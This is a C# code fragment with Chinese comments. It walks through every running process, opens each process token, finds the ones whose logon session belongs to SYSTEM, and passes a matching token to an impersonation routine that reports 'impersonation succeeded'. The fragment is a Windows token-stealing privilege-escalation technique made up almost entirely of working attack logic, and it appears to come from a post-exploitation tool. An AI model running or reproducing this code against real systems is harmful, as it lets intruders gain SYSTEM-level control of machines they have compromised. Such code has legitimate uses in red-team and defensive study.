public static Boolean EnumerateUserProcesses() { Boolean rs = false; Process[] pids = Process.GetProcesses(); Console.WriteLine("[*] Examining {0} processes", pids.Length); foreach (Process p in pids) { if (p.ProcessName.ToUpper().Equals("System".ToUpper())) //跳过进程名为"System"的进程 { continue; } IntPtr hProcess = OpenProcess(Flags.PROCESS_QUERY_INFORMATION, true, p.Id); if (IntPtr.Zero == hProcess) { hProcess = OpenProcess(Flags.PROCESS_QUERY_LIMITED_INFORMATION, true, p.Id); //required for protected processes if (IntPtr.Zero == hProcess) { continue; } } IntPtr hToken; if (!OpenProcessToken(hProcess, Flags.MAXIMUM_ALLOWED, out hToken)) { continue; } CloseHandle(hProcess); UInt32 dwLength = 0; TOKEN_STATISTICS tokenStatistics = new TOKEN_STATISTICS(); if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) { if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) { continue; } } String userName = String.Empty; if (!GetTokenInformationToUsername(tokenStatistics, ref userName)) { continue; } rs = token_elevation(hToken); if (rs) { Console.WriteLine("模拟成功!PID:" + p.Id); break; } } return(rs); }
//获取进程的用户是否是SYSTEM public static Boolean GetTokenInformationToUsername(TOKEN_STATISTICS tokenStatistics, ref String userName) { IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(_LUID))); Marshal.StructureToPtr(tokenStatistics.AuthenticationId, lpLuid, false); if (IntPtr.Zero == lpLuid) { return(false); } IntPtr ppLogonSessionData = new IntPtr(); if (0 != LsaGetLogonSessionData(lpLuid, out ppLogonSessionData)) { return(false); } if (IntPtr.Zero == ppLogonSessionData) { return(false); } SECURITY_LOGON_SESSION_DATA securityLogonSessionData = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(ppLogonSessionData, typeof(SECURITY_LOGON_SESSION_DATA)); if (IntPtr.Zero == securityLogonSessionData.Sid || IntPtr.Zero == securityLogonSessionData.UserName.Buffer || IntPtr.Zero == securityLogonSessionData.LogonDomain.Buffer) { return(false); } StringBuilder lpName = new StringBuilder(); UInt32 cchName = (UInt32)lpName.Capacity; StringBuilder lpReferencedDomainName = new StringBuilder(); UInt32 cchReferencedDomainName = (UInt32)lpReferencedDomainName.Capacity; SID_NAME_USE sidNameUse = new SID_NAME_USE(); LookupAccountSid(String.Empty, securityLogonSessionData.Sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUse); userName = lpName.ToString(); if (!userName.ToUpper().Equals("System".ToUpper())) { return(false); } return(true); }
public static extern Boolean GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, ref TOKEN_STATISTICS TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength);